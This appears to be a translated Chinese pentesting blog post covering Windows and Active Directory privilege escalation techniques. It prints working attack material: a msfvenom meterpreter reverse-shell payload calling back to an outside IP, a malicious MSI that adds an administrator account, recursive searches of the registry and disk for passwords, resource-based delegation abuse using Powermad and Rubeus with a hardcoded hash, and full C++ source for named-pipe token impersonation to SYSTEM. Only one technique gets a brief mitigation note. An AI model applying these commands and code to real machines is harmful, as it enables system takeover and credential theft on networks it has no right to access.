在这里插入图片描述

1. Unquoted Service Paths (Trusted Service Paths)

Let's talk about practicality first, it's more passive, and it's more face-conscious.

The authority of the service under Windows is usually SYSTEM. If we can replace the service startup program with our malicious program (such as reverse shell), it is equivalent to gaining SYSTEM privileges and achieving the purpose of privilege escalation.
Unquoted service paths may cause this to happen.
The so-called unquoted service path means that the path of the service startup program contains spaces and is not enclosed in quotation marks. Like this

C:\Program Files\floder1\service.exe

Because of the existence of the space, when Windows starts the service to find the service startup item, it will search for the startup item in the following order

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

This gives us an opportunity: if we have write or full control permissions in the upper directory of the service, we can put an executable file in the higher order of the Windows search service startup items.
在这里插入图片描述
We use the following command to search which service paths do not contain quotation marks

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

在这里插入图片描述
Then use the icacls command to view the permissions of the 2345Explorer directory
在这里插入图片描述
The users group has full control (F), then we directly use msfvenom to construct a rebound shell exe. Name it Protect.exe and put it in the 2345Explorer directory. I just coded it here

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

在这里插入图片描述
Then we are now unable to restart the service. . You can only wait for the administrator to restart the service or the machine to restart. Then get SYSTEM privileges. But there is still a hole here, this hole is that if a service does not communicate with the Service Control Manager (SCM) within a certain period of time after it is started, it will be stopped.
在这里插入图片描述
So we need to transfer the process or add an administrator account in time after we get the shell.
The transfer process is very simple in msf. In the meterpreter, first use ps to view the process, find a system permission, remember its pid, and then migrate the PID to complete the process migration.

Let's talk about prevention methods below. Enter the registry modification window, find the vulnerable service under the path HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services, modify its ImagePath, and add quotation marks around the path.

2. Vulnerable Services

Also look at the face and be passive

This attack method can be roughly divided into two categories

1. Replace the binary file of the service. This method is relatively simple. If you have the right to modify the directory where the service binary file is located, then we can create a malicious program to replace the original binary file service. This is relatively simple, and basically the attack process is the same as Trusted Service Paths. It is also relatively passive to wait for the service to be restarted before the shell can be played, so it will not be demonstrated.

2. Modify the attributes of the service. If we can modify the BINARY_PATH_NAME attribute of the service (this attribute is used to point to the binary file of the service), we can set the value of BINARY_PATH_NAME to the system command, and then our system command will be executed when the service is restarted.

For the latter, we need a tool to quickly reveal the properties of which services we can modify.
We use accesschk.exe for this tool, which is produced by Microsoft and basically does not report viruses.

We execute the following commands through the tool

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限

If you have service_all_access or the following permissions for a service, it means you can modify its attributes.
在这里插入图片描述
For example, if we have service_all_access permission for the Spooler service, we can do so.

By modifying its binPath as a malicious instruction, and then waiting for the administrator to restart the service, our malicious instruction will be executed.

在这里插入图片描述

Three, AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

Then all msi (windows application installer) will run with SYSTEM privileges. At this point, if we execute a malicious msi program, we can achieve the purpose of escalation

At the same time, it should be noted that this registry key may not always exist. (Such as my experimental machine

We can verify the status of these two registry entries through reg query

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both are 1, we can use msfvenom to generate malicious msi to raise rights

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

Then execute to get an administrator account.

Fourth, information leakage

Unattend.xml sysprep.xml and sysprep.inf file GPP.xml has certain information leakage, they usually exist in the following path

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

Once found, find the tags in the Unattend.xml file. It is possible to find the user's encrypted password. .

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Five, resource-based domain delegation attack

refer:https://xz.aliyun.com/t/7454

Several points of principle:

1. The S4U2SELF protocol can be called when the user does not configure the TrustedToAuthenticationForDelegation attribute (that is, the binding delegation using any protocol authentication is turned on), but the returned ST cannot be forwarded.

2. The resource-based constrained delegation host is assigned to access by another host, if the ST submitted during the S4U2PROXY process is not forwardable even if it is not forwarded. KDC will still return a valid ST2.

3. Each common domain user can create up to ten machine accounts by default (determined by the MachineAccountQuota attribute),
When each machine account is created, SPNs are automatically registered: RestrictedKrbHost/domain and HOST/domain these two SPNs

attack process:

Assume that the resource-based constrained delegation machine is A

1. First, you must have an account that has write permissions on the current computer, and then you can set up a service account that can be delegated access to A.

2. Use the current account to create a machine account, and configure the resource-based constrained delegation from the machine account to A

3. Because the machine account was created by us, we know his password account, and we can let it use the S4U2SELF protocol to obtain a non-forwardable ST. Then use this non-forwardable ST through S4U2PROXY to obtain effective ST2 access to A cifs services on the basis of resource-based constrained delegation.

4. Use ST2 to access A's CIFS service, and get permission.

practice

To put it bluntly, this attack is an escalation...

First, let's check whether the domain controller is a host above win2012, because only in this way can we enable resource-based constrained delegation.

We use the powerview script under powersploit. Execute the command get-netdomaincontroller

在这里插入图片描述
Can obtain the domain control WIN version

Then we check which host the current user has write access to. Because it is an experiment, let's first take a look at how to configure a user's authority to a machine.

Find a host directly on the domain controller, then enter the security tab in the properties, add a user, and then assign permissions to this user.

在这里插入图片描述
We still use powerview. Call first

Get-DomainUser -Identity username -Properties objectsid

To get the current user SID

Then

Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"}

Check whether the current user has write permission to a certain host.
在这里插入图片描述
If there are GenericAll (full control rights), GenericWrite, WriteProperty, WriteDacl attributes, it means that the user can modify the account attributes of the computer.
As shown in the figure, we can operate WIN7

Okay, we are going to create a machine user next. According to online search results, using the ps script of powermad can quickly create a machine user. https://github.com/Kevin-Robertson/Powermad

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

在这里插入图片描述
Okay, we added a password hack, a machine account named hacksystem, and the next step is to configure the delegation of hacksystem to WIN7. What we need to do is to modify WIN7

msDS-AllowedToActOnBehalfOfOtherIdentity

The value of the attribute, this operation is implemented with powerview.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在这里插入图片描述
As for how to obtain the machine account SID, under powerview

get-domiancomputer hacksystem

Then use

Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity

Check whether the delegation is set successfully

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

This command can clear the value of msds-allowedtoactonbehalfofotheridentity attribute

Now that everything is set up, let's start the next step.

Rubeus commonly used on the Internet, here I use kekeo

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

Calculate the machine user ntlm hash locally. Here is a picture of others
在这里插入图片描述

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

Write ticket

Then I klist after using the above method on this machine, and found that there is indeed a ticket
在这里插入图片描述
But when dir \test1\c$ is used, the machine cannot perform kerberos authentication for some reason, so I am convinced. . But anyway, we got the silver ticket

Non-delegable bypass for sensitive users

在这里插入图片描述
If our administrator user is set as a sensitive user that cannot be delegated or is added to a protection group, it stands to reason that his access cannot be delegated.

When we perform S4U as an administrator account, we can only perform S4U2SELF,
S4U2PROXY cannot be performed. we use

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

Continue to experiment with administrator and find that this is indeed the case
在这里插入图片描述
At this point we use rubeus.exe describe /ticker:S4Ubase64 encrypted ticket
在这里插入图片描述
It can be found that servicename does not specify a certain service, only one account. That is, the problem of missing service name has occurred. It’s very simple, just modify the bill. Many people on the Internet say to use this tool

https://shimo.im/docs/TdpXTY6H9J8jygd8/read

But in fact rubeus can also complete the ticket modification

rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

在这里插入图片描述
在这里插入图片描述
Finished

Six, POTATO family

hot potato

Hot potato escalation. I heard about it a long time ago, but I haven't learned about it. The pre-knowledge is ntlm relay, you can learn about it. There are many potato families, and hot potato is just one way to raise rights.

I have a problem with my environment, and I can’t reproduce it very well.


Startup item right

To put it bluntly, through the high authority of mysql, put malicious vbs or bat scripts into the windows startup items folder, which will be executed automatically after the machine restarts. How to restart the machine? Waiting for the administrator or some EXP that can cause the server to blue screen

C:\Documents and Settings\All Users\"Start" Menu\Programs\Start

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

select load_file("xxx") into dumpfile "xxxx";

在这里插入图片描述
have nothing to say

Eight, named pipe rights elevation

The right escalation method is token imitation. Token Impersonation.

One of the extraction methods of meterpreter's getsystem is this method

The privilege escalation process is to refer to the SYSTEM privilege from the administrator user. It is not advisable to elevate privileges from ordinary users to admin and above, because named pipes created by ordinary users do not have SeImpersonatePrivilege, and a 1346 error will occur when copying tokens.

The technical details of the method are: create a named pipe with administrator privileges, and then create a SYSTEM privilege service to connect the service to the named pipe, and then we will simulate the client to obtain the SYSTEM privilege token, then copy it and use it again The copied token creates a new process (such as CMD), and the authority of the new process is the SYSTEM authority.

Paste the implementation code here.
The first is the implementation code of the created service. After the service is started, it will continue to establish a link to the server named pipe
After it is generated, it is Service.exe

#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
  WCHAR Servicename[] = L"ServiceA";
  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;

  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;
  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  bRunning = true;
  while (bRunning) {
  LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
  HANDLE PipeHandle=NULL;
  BOOL PipeInstance;
  WCHAR message[512] = { 0 };
  DWORD bytesWritten = 0;
  BOOL Flag = true;
  wchar_t message2[] = L"HELL";
  DWORD messageLength = lstrlen(message2) * 2;
  do {
    PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  } while (PipeHandle == INVALID_HANDLE_VALUE);

  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  std::cout << "Message:" << message << std::endl;
  }
}

void WINAPI HandlerFunc(DWORD code) {
  switch (code) {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;

    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
    bRunning = false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }

Then there is the main body, the named pipe server. After the generation is Server.exe

#include<Windows.h>
#include<iostream>

int main() {
  LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
  LPVOID pipeBuffer = NULL;
  HANDLE serverPipe;
  DWORD readBytes = 0;
  DWORD readBuffer = 0;
  int err = 0;
  BOOL isPipeConnected;
  BOOL isPipeOpen;
  wchar_t message[] = L"HELL";
  DWORD messageLenght = lstrlen(message) * 2;
  DWORD bytesWritten = 0;
  WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
  std::wcout << "Creating named pipe " << pipeName << std::endl;
  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

  char servicename[] = "Service.exe";
  char servicepath[_MAX_PATH];
  SERVICE_STATUS status;
  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  if (GetLastError() == 0) {

  }
  else {
    std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  }
  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    servicepath, NULL, NULL, NULL, NULL, NULL);
  if (!scService) {
    if (GetLastError() == 1073) {
      std::cout << "The Service has been exsisted" << std::endl;
    }
    else {
      std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
    }
  }
  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  if (StartService(scServiceA, 0, NULL)) {
    std::cout<<"service Start success"<<std::endl;
  }
  else {
    if (GetLastError() == 1056) {
      std::cout << "service is running,don't need to start again" << std::endl;
    }
  }
//Connect !
  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  if (isPipeConnected) {
    std::wcout << "Incoming connection to " << pipeName << std::endl;
    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
    std::cout << message2;
  }
  else {
    std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
  }

  std::wcout << "Sending message: " << message << std::endl;
  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
  std::wcout << "Impersonating the client..." << std::endl;
  if (!ImpersonateNamedPipeClient(serverPipe)) {
    std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
  }
  else {
  std::cout << "ImpersonateNamedPipeClient success" << std::endl;
  }

  STARTUPINFOA si;
  PROCESS_INFORMATION pi = {};
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  HANDLE token;
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
    std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  }

  CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  HANDLE Token;
  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
    std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  }
  else {
    std::cout << "Impersonate completed" << std::endl;
  }
  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
      std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
    }
    else {
      std::cout << "CreateProcessWithTokenW success" << std::endl;
    }
  }
  else {
    std::cout << "CreateProcessWithTokenW success" << std::endl;
  }

  while(1){}
}

We generated Service.exe, then moved it to the same level directory as Server.exe, and run Server.exe with administrator privileges to achieve the privilege escalation of admin-》system.

在这里插入图片描述
The program was finally written after four days. . Perfect escalation of rights can be achieved under WIN7.
Project address:

This is the test result under win7 const\administrator is a domain control

请添加图片描述


代码熬夜敲
210 声望354 粉丝

李志宽、前百创作者、渗透测试专家、闷骚男一位、有自己的摇滚乐队